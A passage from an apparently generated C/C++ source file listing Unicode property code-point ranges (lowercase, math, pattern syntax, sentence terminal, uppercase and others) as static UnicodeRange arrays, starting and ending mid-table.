0x513}, {0x515, 0x515}, {0x517, 0x517}, {0x519, 0x519}, {0x51B, 0x51B}, {0x51D, 0x51D}, {0x51F, 0x51F}, {0x521, 0x521}, {0x523, 0x523}, {0x525, 0x525}, {0x527, 0x527}, {0x529, 0x529}, {0x52B, 0x52B}, {0x52D, 0x52D}, {0x52F, 0x52F}, {0x560, 0x588}, {0x10D0, 0x10FA}, {0x10FC, 0x10FF}, {0x13F8, 0x13FD}, {0x1C80, 0x1C88}, {0x1C8A, 0x1C8A}, {0x1D00, 0x1DBF}, {0x1E01, 0x1E01}, {0x1E03, 0x1E03}, {0x1E05, 0x1E05}, {0x1E07, 0x1E07}, {0x1E09, 0x1E09}, {0x1E0B, 0x1E0B}, {0x1E0D, 0x1E0D}, {0x1E0F, 0x1E0F}, {0x1E11, 0x1E11}, {0x1E13, 0x1E13}, {0x1E15, 0x1E15}, {0x1E17, 0x1E17}, {0x1E19, 0x1E19}, {0x1E1B, 0x1E1B}, {0x1E1D, 0x1E1D}, {0x1E1F, 0x1E1F}, {0x1E21, 0x1E21}, {0x1E23, 0x1E23}, {0x1E25, 0x1E25}, {0x1E27, 0x1E27}, {0x1E29, 0x1E29}, {0x1E2B, 0x1E2B}, {0x1E2D, 0x1E2D}, {0x1E2F, 0x1E2F}, {0x1E31, 0x1E31}, {0x1E33, 0x1E33}, {0x1E35, 0x1E35}, {0x1E37, 0x1E37}, {0x1E39, 0x1E39}, {0x1E3B, 0x1E3B}, {0x1E3D, 0x1E3D}, {0x1E3F, 0x1E3F}, {0x1E41, 0x1E41}, {0x1E43, 0x1E43}, {0x1E45, 0x1E45}, {0x1E47, 0x1E47}, {0x1E49, 0x1E49}, {0x1E4B, 0x1E4B}, {0x1E4D, 0x1E4D}, {0x1E4F, 0x1E4F}, {0x1E51, 0x1E51}, {0x1E53, 0x1E53}, {0x1E55, 0x1E55}, {0x1E57, 0x1E57}, {0x1E59, 0x1E59}, {0x1E5B, 0x1E5B}, {0x1E5D, 0x1E5D}, {0x1E5F, 0x1E5F}, {0x1E61, 0x1E61}, {0x1E63, 0x1E63}, {0x1E65, 0x1E65}, {0x1E67, 0x1E67}, {0x1E69, 0x1E69}, {0x1E6B, 0x1E6B}, {0x1E6D, 0x1E6D}, {0x1E6F, 0x1E6F}, {0x1E71, 0x1E71}, {0x1E73, 0x1E73}, {0x1E75, 0x1E75}, {0x1E77, 0x1E77}, {0x1E79, 0x1E79}, {0x1E7B, 0x1E7B}, {0x1E7D, 0x1E7D}, {0x1E7F, 0x1E7F}, {0x1E81, 0x1E81}, {0x1E83, 0x1E83}, {0x1E85, 0x1E85}, {0x1E87, 0x1E87}, {0x1E89, 0x1E89}, {0x1E8B, 0x1E8B}, {0x1E8D, 0x1E8D}, {0x1E8F, 0x1E8F}, {0x1E91, 0x1E91}, {0x1E93, 0x1E93}, {0x1E95, 0x1E9D}, {0x1E9F, 0x1E9F}, {0x1EA1, 0x1EA1}, {0x1EA3, 0x1EA3}, {0x1EA5, 0x1EA5}, {0x1EA7, 0x1EA7}, {0x1EA9, 0x1EA9}, {0x1EAB, 0x1EAB}, {0x1EAD, 0x1EAD}, {0x1EAF, 0x1EAF}, {0x1EB1, 0x1EB1}, {0x1EB3, 0x1EB3}, {0x1EB5, 0x1EB5}, {0x1EB7, 0x1EB7}, {0x1EB9, 0x1EB9}, {0x1EBB, 0x1EBB}, {0x1EBD, 0x1EBD}, {0x1EBF, 0x1EBF}, {0x1EC1, 0x1EC1}, {0x1EC3, 0x1EC3}, {0x1EC5, 0x1EC5}, {0x1EC7, 0x1EC7}, {0x1EC9, 0x1EC9}, {0x1ECB, 0x1ECB}, {0x1ECD, 0x1ECD}, {0x1ECF, 0x1ECF}, {0x1ED1, 0x1ED1}, {0x1ED3, 0x1ED3}, {0x1ED5, 0x1ED5}, {0x1ED7, 0x1ED7}, {0x1ED9, 0x1ED9}, {0x1EDB, 0x1EDB}, {0x1EDD, 0x1EDD}, {0x1EDF, 0x1EDF}, {0x1EE1, 0x1EE1}, {0x1EE3, 0x1EE3}, {0x1EE5, 0x1EE5}, {0x1EE7, 0x1EE7}, {0x1EE9, 0x1EE9}, {0x1EEB, 0x1EEB}, {0x1EED, 0x1EED}, {0x1EEF, 0x1EEF}, {0x1EF1, 0x1EF1}, {0x1EF3, 0x1EF3}, {0x1EF5, 0x1EF5}, {0x1EF7, 0x1EF7}, {0x1EF9, 0x1EF9}, {0x1EFB, 0x1EFB}, {0x1EFD, 0x1EFD}, {0x1EFF, 0x1F07}, {0x1F10, 0x1F15}, {0x1F20, 0x1F27}, {0x1F30, 0x1F37}, {0x1F40, 0x1F45}, {0x1F50, 0x1F57}, {0x1F60, 0x1F67}, {0x1F70, 0x1F7D}, {0x1F80, 0x1F87}, {0x1F90, 0x1F97}, {0x1FA0, 0x1FA7}, {0x1FB0, 0x1FB4}, {0x1FB6, 0x1FB7}, {0x1FBE, 0x1FBE}, {0x1FC2, 0x1FC4}, {0x1FC6, 0x1FC7}, {0x1FD0, 0x1FD3}, {0x1FD6, 0x1FD7}, {0x1FE0, 0x1FE7}, {0x1FF2, 0x1FF4}, {0x1FF6, 0x1FF7}, {0x2071, 0x2071}, {0x207F, 0x207F}, {0x2090, 0x209C}, {0x210A, 0x210A}, {0x210E, 0x210F}, {0x2113, 0x2113}, {0x212F, 0x212F}, {0x2134, 0x2134}, {0x2139, 0x2139}, {0x213C, 0x213D}, {0x2146, 0x2149}, {0x214E, 0x214E}, {0x2170, 0x217F}, {0x2184, 0x2184}, {0x24D0, 0x24E9}, {0x2C30, 0x2C5F}, {0x2C61, 0x2C61}, {0x2C65, 0x2C66}, {0x2C68, 0x2C68}, {0x2C6A, 0x2C6A}, {0x2C6C, 0x2C6C}, {0x2C71, 0x2C71}, {0x2C73, 0x2C74}, {0x2C76, 0x2C7D}, {0x2C81, 0x2C81}, {0x2C83, 0x2C83}, {0x2C85, 0x2C85}, {0x2C87, 0x2C87}, {0x2C89, 0x2C89}, {0x2C8B, 0x2C8B}, {0x2C8D, 0x2C8D}, {0x2C8F, 0x2C8F}, {0x2C91, 0x2C91}, {0x2C93, 0x2C93}, {0x2C95, 0x2C95}, {0x2C97, 0x2C97}, {0x2C99, 0x2C99}, {0x2C9B, 0x2C9B}, {0x2C9D, 0x2C9D}, {0x2C9F, 0x2C9F}, {0x2CA1, 0x2CA1}, {0x2CA3, 0x2CA3}, {0x2CA5, 0x2CA5}, {0x2CA7, 0x2CA7}, {0x2CA9, 0x2CA9}, {0x2CAB, 0x2CAB}, {0x2CAD, 0x2CAD}, {0x2CAF, 0x2CAF}, {0x2CB1, 0x2CB1}, {0x2CB3, 0x2CB3}, {0x2CB5, 0x2CB5}, {0x2CB7, 0x2CB7}, {0x2CB9, 0x2CB9}, {0x2CBB, 0x2CBB}, {0x2CBD, 0x2CBD}, {0x2CBF, 0x2CBF}, {0x2CC1, 0x2CC1}, {0x2CC3, 0x2CC3}, {0x2CC5, 0x2CC5}, {0x2CC7, 0x2CC7}, {0x2CC9, 0x2CC9}, {0x2CCB, 0x2CCB}, {0x2CCD, 0x2CCD}, {0x2CCF, 0x2CCF}, {0x2CD1, 0x2CD1}, {0x2CD3, 0x2CD3}, {0x2CD5, 0x2CD5}, {0x2CD7, 0x2CD7}, {0x2CD9, 0x2CD9}, {0x2CDB, 0x2CDB}, {0x2CDD, 0x2CDD}, {0x2CDF, 0x2CDF}, {0x2CE1, 0x2CE1}, {0x2CE3, 0x2CE4}, {0x2CEC, 0x2CEC}, {0x2CEE, 0x2CEE}, {0x2CF3, 0x2CF3}, {0x2D00, 0x2D25}, {0x2D27, 0x2D27}, {0x2D2D, 0x2D2D}, {0xA641, 0xA641}, {0xA643, 0xA643}, {0xA645, 0xA645}, {0xA647, 0xA647}, {0xA649, 0xA649}, {0xA64B, 0xA64B}, {0xA64D, 0xA64D}, {0xA64F, 0xA64F}, {0xA651, 0xA651}, {0xA653, 0xA653}, {0xA655, 0xA655}, {0xA657, 0xA657}, {0xA659, 0xA659}, {0xA65B, 0xA65B}, {0xA65D, 0xA65D}, {0xA65F, 0xA65F}, {0xA661, 0xA661}, {0xA663, 0xA663}, {0xA665, 0xA665}, {0xA667, 0xA667}, {0xA669, 0xA669}, {0xA66B, 0xA66B}, {0xA66D, 0xA66D}, {0xA681, 0xA681}, {0xA683, 0xA683}, {0xA685, 0xA685}, {0xA687, 0xA687}, {0xA689, 0xA689}, {0xA68B, 0xA68B}, {0xA68D, 0xA68D}, {0xA68F, 0xA68F}, {0xA691, 0xA691}, {0xA693, 0xA693}, {0xA695, 0xA695}, {0xA697, 0xA697}, {0xA699, 0xA699}, {0xA69B, 0xA69D}, {0xA723, 0xA723}, {0xA725, 0xA725}, {0xA727, 0xA727}, {0xA729, 0xA729}, {0xA72B, 0xA72B}, {0xA72D, 0xA72D}, {0xA72F, 0xA731}, {0xA733, 0xA733}, {0xA735, 0xA735}, {0xA737, 0xA737}, {0xA739, 0xA739}, {0xA73B, 0xA73B}, {0xA73D, 0xA73D}, {0xA73F, 0xA73F}, {0xA741, 0xA741}, {0xA743, 0xA743}, {0xA745, 0xA745}, {0xA747, 0xA747}, {0xA749, 0xA749}, {0xA74B, 0xA74B}, {0xA74D, 0xA74D}, {0xA74F, 0xA74F}, {0xA751, 0xA751}, {0xA753, 0xA753}, {0xA755, 0xA755}, {0xA757, 0xA757}, {0xA759, 0xA759}, {0xA75B, 0xA75B}, {0xA75D, 0xA75D}, {0xA75F, 0xA75F}, {0xA761, 0xA761}, {0xA763, 0xA763}, {0xA765, 0xA765}, {0xA767, 0xA767}, {0xA769, 0xA769}, {0xA76B, 0xA76B}, {0xA76D, 0xA76D}, {0xA76F, 0xA778}, {0xA77A, 0xA77A}, {0xA77C, 0xA77C}, {0xA77F, 0xA77F}, {0xA781, 0xA781}, {0xA783, 0xA783}, {0xA785, 0xA785}, {0xA787, 0xA787}, {0xA78C, 0xA78C}, {0xA78E, 0xA78E}, {0xA791, 0xA791}, {0xA793, 0xA795}, {0xA797, 0xA797}, {0xA799, 0xA799}, {0xA79B, 0xA79B}, {0xA79D, 0xA79D}, {0xA79F, 0xA79F}, {0xA7A1, 0xA7A1}, {0xA7A3, 0xA7A3}, {0xA7A5, 0xA7A5}, {0xA7A7, 0xA7A7}, {0xA7A9, 0xA7A9}, {0xA7AF, 0xA7AF}, {0xA7B5, 0xA7B5}, {0xA7B7, 0xA7B7}, {0xA7B9, 0xA7B9}, {0xA7BB, 0xA7BB}, {0xA7BD, 0xA7BD}, {0xA7BF, 0xA7BF}, {0xA7C1, 0xA7C1}, {0xA7C3, 0xA7C3}, {0xA7C8, 0xA7C8}, {0xA7CA, 0xA7CA}, {0xA7CD, 0xA7CD}, {0xA7CF, 0xA7CF}, {0xA7D1, 0xA7D1}, {0xA7D3, 0xA7D3}, {0xA7D5, 0xA7D5}, {0xA7D7, 0xA7D7}, {0xA7D9, 0xA7D9}, {0xA7DB, 0xA7DB}, {0xA7F1, 0xA7F4}, {0xA7F6, 0xA7F6}, {0xA7F8, 0xA7FA}, {0xAB30, 0xAB5A}, {0xAB5C, 0xAB69}, {0xAB70, 0xABBF}, {0xFB00, 0xFB06}, {0xFB13, 0xFB17}, {0xFF41, 0xFF5A}, {0x10428, 0x1044F}, {0x104D8, 0x104FB}, {0x10597, 0x105A1}, {0x105A3, 0x105B1}, {0x105B3, 0x105B9}, {0x105BB, 0x105BC}, {0x10780, 0x10780}, {0x10783, 0x10785}, {0x10787, 0x107B0}, {0x107B2, 0x107BA}, {0x10CC0, 0x10CF2}, {0x10D70, 0x10D85}, {0x118C0, 0x118DF}, {0x16E60, 0x16E7F}, {0x16EBB, 0x16ED3}, {0x1D41A, 0x1D433}, {0x1D44E, 0x1D454}, {0x1D456, 0x1D467}, {0x1D482, 0x1D49B}, {0x1D4B6, 0x1D4B9}, {0x1D4BB, 0x1D4BB}, {0x1D4BD, 0x1D4C3}, {0x1D4C5, 0x1D4CF}, {0x1D4EA, 0x1D503}, {0x1D51E, 0x1D537}, {0x1D552, 0x1D56B}, {0x1D586, 0x1D59F}, {0x1D5BA, 0x1D5D3}, {0x1D5EE, 0x1D607}, {0x1D622, 0x1D63B}, {0x1D656, 0x1D66F}, {0x1D68A, 0x1D6A5}, {0x1D6C2, 0x1D6DA}, {0x1D6DC, 0x1D6E1}, {0x1D6FC, 0x1D714}, {0x1D716, 0x1D71B}, {0x1D736, 0x1D74E}, {0x1D750, 0x1D755}, {0x1D770, 0x1D788}, {0x1D78A, 0x1D78F}, {0x1D7AA, 0x1D7C2}, {0x1D7C4, 0x1D7C9}, {0x1D7CB, 0x1D7CB}, {0x1DF00, 0x1DF09}, {0x1DF0B, 0x1DF1E}, {0x1DF25, 0x1DF2A}, {0x1E030, 0x1E06D}, {0x1E922, 0x1E943}, }; static const UnicodeRange kRanges_Math[] = { {0x2B, 0x2B}, {0x3C, 0x3E}, {0x5E, 0x5E}, {0x7C, 0x7C}, {0x7E, 0x7E}, {0xAC, 0xAC}, {0xB1, 0xB1}, {0xD7, 0xD7}, {0xF7, 0xF7}, {0x3D0, 0x3D2}, {0x3D5, 0x3D5}, {0x3F0, 0x3F1}, {0x3F4, 0x3F6}, {0x606, 0x608}, {0x2016, 0x2016}, {0x2032, 0x2034}, {0x2040, 0x2040}, {0x2044, 0x2044}, {0x2052, 0x2052}, {0x2061, 0x2064}, {0x207A, 0x207E}, {0x208A, 0x208E}, {0x20D0, 0x20DC}, {0x20E1, 0x20E1}, {0x20E5, 0x20E6}, {0x20EB, 0x20EF}, {0x2102, 0x2102}, {0x2107, 0x2107}, {0x210A, 0x2113}, {0x2115, 0x2115}, {0x2118, 0x211D}, {0x2124, 0x2124}, {0x2128, 0x2129}, {0x212C, 0x212D}, {0x212F, 0x2131}, {0x2133, 0x2138}, {0x213C, 0x2149}, {0x214B, 0x214B}, {0x2190, 0x21A7}, {0x21A9, 0x21AE}, {0x21B0, 0x21B1}, {0x21B6, 0x21B7}, {0x21BC, 0x21DB}, {0x21DD, 0x21DD}, {0x21E4, 0x21E5}, {0x21F4, 0x22FF}, {0x2308, 0x230B}, {0x2320, 0x2321}, {0x237C, 0x237C}, {0x239B, 0x23B5}, {0x23B7, 0x23B7}, {0x23D0, 0x23D0}, {0x23DC, 0x23E2}, {0x25A0, 0x25A1}, {0x25AE, 0x25B7}, {0x25BC, 0x25C1}, {0x25C6, 0x25C7}, {0x25CA, 0x25CB}, {0x25CF, 0x25D3}, {0x25E2, 0x25E2}, {0x25E4, 0x25E4}, {0x25E7, 0x25EC}, {0x25F8, 0x25FF}, {0x2605, 0x2606}, {0x2640, 0x2640}, {0x2642, 0x2642}, {0x2660, 0x2663}, {0x266D, 0x266F}, {0x27C0, 0x27FF}, {0x2900, 0x2AFF}, {0x2B30, 0x2B44}, {0x2B47, 0x2B4C}, {0xFB29, 0xFB29}, {0xFE61, 0xFE66}, {0xFE68, 0xFE68}, {0xFF0B, 0xFF0B}, {0xFF1C, 0xFF1E}, {0xFF3C, 0xFF3C}, {0xFF3E, 0xFF3E}, {0xFF5C, 0xFF5C}, {0xFF5E, 0xFF5E}, {0xFFE2, 0xFFE2}, {0xFFE9, 0xFFEC}, {0x10D8E, 0x10D8F}, {0x1CEF0, 0x1CEF0}, {0x1D400, 0x1D454}, {0x1D456, 0x1D49C}, {0x1D49E, 0x1D49F}, {0x1D4A2, 0x1D4A2}, {0x1D4A5, 0x1D4A6}, {0x1D4A9, 0x1D4AC}, {0x1D4AE, 0x1D4B9}, {0x1D4BB, 0x1D4BB}, {0x1D4BD, 0x1D4C3}, {0x1D4C5, 0x1D505}, {0x1D507, 0x1D50A}, {0x1D50D, 0x1D514}, {0x1D516, 0x1D51C}, {0x1D51E, 0x1D539}, {0x1D53B, 0x1D53E}, {0x1D540, 0x1D544}, {0x1D546, 0x1D546}, {0x1D54A, 0x1D550}, {0x1D552, 0x1D6A5}, {0x1D6A8, 0x1D7CB}, {0x1D7CE, 0x1D7FF}, {0x1EE00, 0x1EE03}, {0x1EE05, 0x1EE1F}, {0x1EE21, 0x1EE22}, {0x1EE24, 0x1EE24}, {0x1EE27, 0x1EE27}, {0x1EE29, 0x1EE32}, {0x1EE34, 0x1EE37}, {0x1EE39, 0x1EE39}, {0x1EE3B, 0x1EE3B}, {0x1EE42, 0x1EE42}, {0x1EE47, 0x1EE47}, {0x1EE49, 0x1EE49}, {0x1EE4B, 0x1EE4B}, {0x1EE4D, 0x1EE4F}, {0x1EE51, 0x1EE52}, {0x1EE54, 0x1EE54}, {0x1EE57, 0x1EE57}, {0x1EE59, 0x1EE59}, {0x1EE5B, 0x1EE5B}, {0x1EE5D, 0x1EE5D}, {0x1EE5F, 0x1EE5F}, {0x1EE61, 0x1EE62}, {0x1EE64, 0x1EE64}, {0x1EE67, 0x1EE6A}, {0x1EE6C, 0x1EE72}, {0x1EE74, 0x1EE77}, {0x1EE79, 0x1EE7C}, {0x1EE7E, 0x1EE7E}, {0x1EE80, 0x1EE89}, {0x1EE8B, 0x1EE9B}, {0x1EEA1, 0x1EEA3}, {0x1EEA5, 0x1EEA9}, {0x1EEAB, 0x1EEBB}, {0x1EEF0, 0x1EEF1}, {0x1F8D0, 0x1F8D8}, }; static const UnicodeRange kRanges_Noncharacter_Code_Point[] = { {0xFDD0, 0xFDEF}, {0xFFFE, 0xFFFF}, {0x1FFFE, 0x1FFFF}, {0x2FFFE, 0x2FFFF}, {0x3FFFE, 0x3FFFF}, {0x4FFFE, 0x4FFFF}, {0x5FFFE, 0x5FFFF}, {0x6FFFE, 0x6FFFF}, {0x7FFFE, 0x7FFFF}, {0x8FFFE, 0x8FFFF}, {0x9FFFE, 0x9FFFF}, {0xAFFFE, 0xAFFFF}, {0xBFFFE, 0xBFFFF}, {0xCFFFE, 0xCFFFF}, {0xDFFFE, 0xDFFFF}, {0xEFFFE, 0xEFFFF}, {0xFFFFE, 0xFFFFF}, {0x10FFFE, 0x10FFFF}, }; static const UnicodeRange kRanges_Pattern_Syntax[] = { {0x21, 0x2F}, {0x3A, 0x40}, {0x5B, 0x5E}, {0x60, 0x60}, {0x7B, 0x7E}, {0xA1, 0xA7}, {0xA9, 0xA9}, {0xAB, 0xAC}, {0xAE, 0xAE}, {0xB0, 0xB1}, {0xB6, 0xB6}, {0xBB, 0xBB}, {0xBF, 0xBF}, {0xD7, 0xD7}, {0xF7, 0xF7}, {0x2010, 0x2027}, {0x2030, 0x203E}, {0x2041, 0x2053}, {0x2055, 0x205E}, {0x2190, 0x245F}, {0x2500, 0x2775}, {0x2794, 0x2BFF}, {0x2E00, 0x2E7F}, {0x3001, 0x3003}, {0x3008, 0x3020}, {0x3030, 0x3030}, {0xFD3E, 0xFD3F}, {0xFE45, 0xFE46}, }; static const UnicodeRange kRanges_Pattern_White_Space[] = { {0x9, 0xD}, {0x20, 0x20}, {0x85, 0x85}, {0x200E, 0x200F}, {0x2028, 0x2029}, }; static const UnicodeRange kRanges_Quotation_Mark[] = { {0x22, 0x22}, {0x27, 0x27}, {0xAB, 0xAB}, {0xBB, 0xBB}, {0x2018, 0x201F}, {0x2039, 0x203A}, {0x2E42, 0x2E42}, {0x300C, 0x300F}, {0x301D, 0x301F}, {0xFE41, 0xFE44}, {0xFF02, 0xFF02}, {0xFF07, 0xFF07}, {0xFF62, 0xFF63}, }; static const UnicodeRange kRanges_Radical[] = { {0x2E80, 0x2E99}, {0x2E9B, 0x2EF3}, {0x2F00, 0x2FD5}, }; static const UnicodeRange kRanges_Regional_Indicator[] = { {0x1F1E6, 0x1F1FF}, }; static const UnicodeRange kRanges_Sentence_Terminal[] = { {0x21, 0x21}, {0x2E, 0x2E}, {0x3F, 0x3F}, {0x589, 0x589}, {0x61D, 0x61F}, {0x6D4, 0x6D4}, {0x700, 0x702}, {0x7F9, 0x7F9}, {0x837, 0x837}, {0x839, 0x839}, {0x83D, 0x83E}, {0x964, 0x965}, {0x104A, 0x104B}, {0x1362, 0x1362}, {0x1367, 0x1368}, {0x166E, 0x166E}, {0x1735, 0x1736}, {0x17D4, 0x17D5}, {0x1803, 0x1803}, {0x1809, 0x1809}, {0x1944, 0x1945}, {0x1AA8, 0x1AAB}, {0x1B4E, 0x1B4F}, {0x1B5A, 0x1B5B}, {0x1B5E, 0x1B5F}, {0x1B7D, 0x1B7F}, {0x1C3B, 0x1C3C}, {0x1C7E, 0x1C7F}, {0x2024, 0x2024}, {0x203C, 0x203D}, {0x2047, 0x2049}, {0x2CF9, 0x2CFB}, {0x2E2E, 0x2E2E}, {0x2E3C, 0x2E3C}, {0x2E53, 0x2E54}, {0x3002, 0x3002}, {0xA4FF, 0xA4FF}, {0xA60E, 0xA60F}, {0xA6F3, 0xA6F3}, {0xA6F7, 0xA6F7}, {0xA876, 0xA877}, {0xA8CE, 0xA8CF}, {0xA92F, 0xA92F}, {0xA9C8, 0xA9C9}, {0xAA5D, 0xAA5F}, {0xAAF0, 0xAAF1}, {0xABEB, 0xABEB}, {0xFE12, 0xFE12}, {0xFE15, 0xFE16}, {0xFE52, 0xFE52}, {0xFE56, 0xFE57}, {0xFF01, 0xFF01}, {0xFF0E, 0xFF0E}, {0xFF1F, 0xFF1F}, {0xFF61, 0xFF61}, {0x10A56, 0x10A57}, {0x10F55, 0x10F59}, {0x10F86, 0x10F89}, {0x11047, 0x11048}, {0x110BE, 0x110C1}, {0x11141, 0x11143}, {0x111C5, 0x111C6}, {0x111CD, 0x111CD}, {0x111DE, 0x111DF}, {0x11238, 0x11239}, {0x1123B, 0x1123C}, {0x112A9, 0x112A9}, {0x113D4, 0x113D5}, {0x1144B, 0x1144C}, {0x115C2, 0x115C3}, {0x115C9, 0x115D7}, {0x11641, 0x11642}, {0x1173C, 0x1173E}, {0x11944, 0x11944}, {0x11946, 0x11946}, {0x11A42, 0x11A43}, {0x11A9B, 0x11A9C}, {0x11C41, 0x11C42}, {0x11EF7, 0x11EF8}, {0x11F43, 0x11F44}, {0x16A6E, 0x16A6F}, {0x16AF5, 0x16AF5}, {0x16B37, 0x16B38}, {0x16B44, 0x16B44}, {0x16D6E, 0x16D6F}, {0x16E98, 0x16E98}, {0x1BC9F, 0x1BC9F}, {0x1DA88, 0x1DA88}, }; static const UnicodeRange kRanges_Soft_Dotted[] = { {0x69, 0x6A}, {0x12F, 0x12F}, {0x249, 0x249}, {0x268, 0x268}, {0x29D, 0x29D}, {0x2B2, 0x2B2}, {0x3F3, 0x3F3}, {0x456, 0x456}, {0x458, 0x458}, {0x1D62, 0x1D62}, {0x1D96, 0x1D96}, {0x1DA4, 0x1DA4}, {0x1DA8, 0x1DA8}, {0x1E2D, 0x1E2D}, {0x1ECB, 0x1ECB}, {0x2071, 0x2071}, {0x2148, 0x2149}, {0x2C7C, 0x2C7C}, {0x1D422, 0x1D423}, {0x1D456, 0x1D457}, {0x1D48A, 0x1D48B}, {0x1D4BE, 0x1D4BF}, {0x1D4F2, 0x1D4F3}, {0x1D526, 0x1D527}, {0x1D55A, 0x1D55B}, {0x1D58E, 0x1D58F}, {0x1D5C2, 0x1D5C3}, {0x1D5F6, 0x1D5F7}, {0x1D62A, 0x1D62B}, {0x1D65E, 0x1D65F}, {0x1D692, 0x1D693}, {0x1DF1A, 0x1DF1A}, {0x1E04C, 0x1E04D}, {0x1E068, 0x1E068}, }; static const UnicodeRange kRanges_Terminal_Punctuation[] = { {0x21, 0x21}, {0x2C, 0x2C}, {0x2E, 0x2E}, {0x3A, 0x3B}, {0x3F, 0x3F}, {0x37E, 0x37E}, {0x387, 0x387}, {0x589, 0x589}, {0x5C3, 0x5C3}, {0x60C, 0x60C}, {0x61B, 0x61B}, {0x61D, 0x61F}, {0x6D4, 0x6D4}, {0x700, 0x70A}, {0x70C, 0x70C}, {0x7F8, 0x7F9}, {0x830, 0x835}, {0x837, 0x83E}, {0x85E, 0x85E}, {0x964, 0x965}, {0xE5A, 0xE5B}, {0xF08, 0xF08}, {0xF0D, 0xF12}, {0x104A, 0x104B}, {0x1361, 0x1368}, {0x166E, 0x166E}, {0x16EB, 0x16ED}, {0x1735, 0x1736}, {0x17D4, 0x17D6}, {0x17DA, 0x17DA}, {0x1802, 0x1805}, {0x1808, 0x1809}, {0x1944, 0x1945}, {0x1AA8, 0x1AAB}, {0x1B4E, 0x1B4F}, {0x1B5A, 0x1B5B}, {0x1B5D, 0x1B5F}, {0x1B7D, 0x1B7F}, {0x1C3B, 0x1C3F}, {0x1C7E, 0x1C7F}, {0x2024, 0x2024}, {0x203C, 0x203D}, {0x2047, 0x2049}, {0x2CF9, 0x2CFB}, {0x2E2E, 0x2E2E}, {0x2E3C, 0x2E3C}, {0x2E41, 0x2E41}, {0x2E4C, 0x2E4C}, {0x2E4E, 0x2E4F}, {0x2E53, 0x2E54}, {0x3001, 0x3002}, {0xA4FE, 0xA4FF}, {0xA60D, 0xA60F}, {0xA6F3, 0xA6F7}, {0xA876, 0xA877}, {0xA8CE, 0xA8CF}, {0xA92F, 0xA92F}, {0xA9C7, 0xA9C9}, {0xAA5D, 0xAA5F}, {0xAADF, 0xAADF}, {0xAAF0, 0xAAF1}, {0xABEB, 0xABEB}, {0xFE12, 0xFE12}, {0xFE15, 0xFE16}, {0xFE50, 0xFE52}, {0xFE54, 0xFE57}, {0xFF01, 0xFF01}, {0xFF0C, 0xFF0C}, {0xFF0E, 0xFF0E}, {0xFF1A, 0xFF1B}, {0xFF1F, 0xFF1F}, {0xFF61, 0xFF61}, {0xFF64, 0xFF64}, {0x1039F, 0x1039F}, {0x103D0, 0x103D0}, {0x10857, 0x10857}, {0x1091F, 0x1091F}, {0x10A56, 0x10A57}, {0x10AF0, 0x10AF5}, {0x10B3A, 0x10B3F}, {0x10B99, 0x10B9C}, {0x10F55, 0x10F59}, {0x10F86, 0x10F89}, {0x11047, 0x1104D}, {0x110BE, 0x110C1}, {0x11141, 0x11143}, {0x111C5, 0x111C6}, {0x111CD, 0x111CD}, {0x111DE, 0x111DF}, {0x11238, 0x1123C}, {0x112A9, 0x112A9}, {0x113D4, 0x113D5}, {0x1144B, 0x1144D}, {0x1145A, 0x1145B}, {0x115C2, 0x115C5}, {0x115C9, 0x115D7}, {0x11641, 0x11642}, {0x1173C, 0x1173E}, {0x11944, 0x11944}, {0x11946, 0x11946}, {0x11A42, 0x11A43}, {0x11A9B, 0x11A9C}, {0x11AA1, 0x11AA2}, {0x11C41, 0x11C43}, {0x11C71, 0x11C71}, {0x11EF7, 0x11EF8}, {0x11F43, 0x11F44}, {0x12470, 0x12474}, {0x16A6E, 0x16A6F}, {0x16AF5, 0x16AF5}, {0x16B37, 0x16B39}, {0x16B44, 0x16B44}, {0x16D6E, 0x16D6F}, {0x16E97, 0x16E98}, {0x1BC9F, 0x1BC9F}, {0x1DA87, 0x1DA8A}, }; static const UnicodeRange kRanges_Unified_Ideograph[] = { {0x3400, 0x4DBF}, {0x4E00, 0x9FFF}, {0xFA0E, 0xFA0F}, {0xFA11, 0xFA11}, {0xFA13, 0xFA14}, {0xFA1F, 0xFA1F}, {0xFA21, 0xFA21}, {0xFA23, 0xFA24}, {0xFA27, 0xFA29}, {0x20000, 0x2A6DF}, {0x2A700, 0x2B81D}, {0x2B820, 0x2CEAD}, {0x2CEB0, 0x2EBE0}, {0x2EBF0, 0x2EE5D}, {0x30000, 0x3134A}, {0x31350, 0x33479}, }; static const UnicodeRange kRanges_Uppercase[] = { {0x41, 0x5A}, {0xC0, 0xD6}, {0xD8, 0xDE}, {0x100, 0x100}, {0x102, 0x102}, {0x104, 0x104}, {0x106, 0x106}, {0x108, 0x108}, {0x10A, 0x10A}, {0x10C, 0x10C}, {0x10E, 0x10E}, {0x110, 0x110}, {0x112, 0x112}, {0x114, 0x114}, {0x116, 0x116}, {0x118, 0x118}, {0x11A, 0x11A}, {0x11C, 0x11C}, {0x11E, 0x11E}, {0x120, 0x120}, {0x122, 0x122}, {0x124, 0x124}, {0x126, 0x126}, {0x128, 0x128}, {0x12A, 0x12A}, {0x12C, 0x12C}, {0x12E, 0x12E}, {0x130, 0x130}, {0x132, 0x132}, {0x134, 0x134}, {0x136, 0x136}, {0x139, 0x139}, {0x13B, 0x13B}, {0x13D, 0x13D}, {0x13F, 0x13F}, {0x141, 0x141}, {0x143, 0x143}, {0x145, 0x145}, {0x147, 0x147}, {0x14A, 0x14A}, {0x14C, 0x14C}, {0x14E, 0x14E}, {0x150, 0x150}, {0x152, 0x152}, {0x154, 0x154}, {0x156, 0x156}, {0x158, 0x158}, {0x15A, 0x15A}, {0x15C, 0x15C}, {0x15E, 0x15E}, {0x160, 0x160}, {0x162, 0x162}, {0x164, 0x164}, {0x166, 0x166}, {0x168, 0x168}, {0x16A, 0x16A}, {0x16C, 0x16C}, {0x16E, 0x16E}, {0x170, 0x170}, {0x172, 0x172}, {0x174, 0x174}, {0x176, 0x176}, {0x178, 0x179}, {0x17B, 0x17B}, {0x17D, 0x17D}, {0x181, 0x182}, {0x184, 0x184}, {0x186, 0x187}, {0x189, 0x18B}, {0x18E, 0x191}, {0x193, 0x194}, {0x196, 0x198}, {0x19C, 0x19D}, {0x19F, 0x1A0}, {0x1A2, 0x1A2}, {0x1A4, 0x1A4}, {0x1A6, 0x1A7}, {0x1A9, 0x1A9}, {0x1AC, 0x1AC}, {0x1AE, 0x1AF}, {0x1B1, 0x1B3}, {0x1B5, 0x1B5}, {0x1B7, 0x1B8}, {0x1BC, 0x1BC}, {0x1C4, 0x1C4}, {0x1C7, 0x1C7}, {0x1CA, 0x1CA}, {0x1CD, 0x1CD}, {0x1CF, 0x1CF}, {0x1D1, 0x1D1}, {0x1D3, 0x1D3}, {0x1D5, 0x1D5}, {0x1D7, 0x1D7}, {0x1D9, 0x1D9}, {0x1DB, 